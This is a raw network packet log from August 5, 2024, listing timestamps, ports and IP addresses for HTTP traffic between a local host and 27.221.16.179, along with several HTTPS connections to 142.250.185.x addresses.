Aug 5, 2024 12:00:53.053687096 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053752899 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053770065 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053782940 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053792953 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053797960 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053822041 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053842068 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053848982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053859949 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053878069 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053889036 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053889990 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053908110 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053937912 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.054627895 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054639101 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054650068 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054678917 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054687023 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.054692030 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054706097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054718971 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.054743052 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054745913 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.054754019 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054765940 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.054800034 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.055558920 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.055569887 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.055584908 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.055596113 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.055603981 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.055632114 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.110687971 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.325587034 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325607061 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325618982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325629950 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325642109 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325663090 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.325683117 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325695992 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325712919 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.325727940 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325732946 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.325741053 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325747013 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325752020 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325757980 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325763941 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325771093 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.325824022 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326139927 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326153040 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326165915 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326176882 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326190948 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326212883 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326555967 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326600075 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326612949 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326625109 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326641083 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326663017 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326720953 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326733112 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326744080 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326755047 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326766014 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326766014 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326777935 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326791048 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.326806068 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.326831102 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.327553034 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.327567101 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.327578068 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.327595949 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.327620029 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.625422001 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.625498056 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.625936031 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.625946045 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.626141071 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.626146078 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.629307032 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.629379988 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.629795074 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.629801989 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.629970074 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:53.629976034 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.648307085 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648336887 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648353100 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648370028 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648380041 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648385048 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.648411989 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.648462057 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648473978 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648492098 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648502111 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648510933 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.648511887 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648535967 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.648566961 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.648606062 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648617983 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648629904 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.648659945 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649401903 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649450064 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649490118 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649502039 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649523020 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649533033 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649539948 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649554014 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649564981 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649565935 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649568081 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649626017 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649755001 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649801970 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649825096 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649836063 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649878979 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649883032 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649894953 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649904966 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649915934 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.649929047 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649947882 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.649991035 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650003910 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650015116 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650026083 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650038004 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650043964 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.650058031 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.650573015 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650595903 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650607109 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650661945 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650671959 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.650672913 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.650671959 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.650734901 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.735198021 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.782565117 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001426935 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001468897 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001480103 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001492023 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001513958 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001529932 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001529932 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001540899 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001554012 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001564980 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001574039 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001593113 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001604080 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001615047 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001625061 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001626968 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001641035 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001667023 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001691103 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001827002 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001838923 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001849890 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001890898 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001899958 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001912117 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001923084 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001933098 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.001950979 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.001986027 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002003908 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002017021 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002027035 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002038002 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002041101 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002049923 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002060890 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002068043 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002074003 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002098083 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002151966 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002732038 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002762079 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002774000 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002818108 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002851963 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002862930 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002875090 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.002895117 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.002927065 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.003046989 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003058910 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003070116 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003079891 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003091097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003101110 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003112078 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.003118992 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.003134966 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.018418074 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.018507004 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.018534899 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.018625021 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.018697977 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.018739939 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.018863916 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.019321918 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.019347906 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.019589901 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.019747019 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.019788980 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.019844055 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.019854069 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.019856930 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.020046949 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.020066977 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.040685892 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.040766001 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.040780067 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.041456938 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.041539907 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.041574001 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.041593075 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.041603088 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.041639090 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.042114973 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.042124987 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.042192936 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.042212963 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.042236090 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.042393923 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.042403936 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.042423010 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.042579889 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.042591095 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.048156977 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344480038 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344502926 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344525099 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344535112 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344547033 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344559908 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344569921 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344583988 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344592094 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344603062 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344604969 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344616890 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344626904 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344639063 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344643116 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344650030 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344667912 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344677925 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344688892 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.344702959 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.344727993 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345140934 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345149994 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345161915 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345172882 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345182896 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345186949 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345201969 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345233917 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345349073 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345360041 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345371008 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345387936 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345401049 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345426083 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345472097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345482111 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345491886 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345499039 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345535040 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345803022 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345814943 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345825911 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345861912 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345870972 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345880985 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345885038 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345894098 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345905066 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345923901 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.345968008 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.345979929 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346004963 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346019983 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346031904 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346040964 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346041918 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.346051931 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346072912 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.346081972 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.346539021 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346580982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346591949 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346625090 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346626997 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.346637011 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.346662045 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.391920090 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623419046 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623445988 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623473883 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623492956 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623497963 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623502970 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623507023 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623524904 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623541117 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623543024 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623562098 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623573065 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623584032 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623589039 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623596907 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623622894 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623626947 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623636007 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623646021 CEST	80	49837	27.221.16.179	192.168.2.7
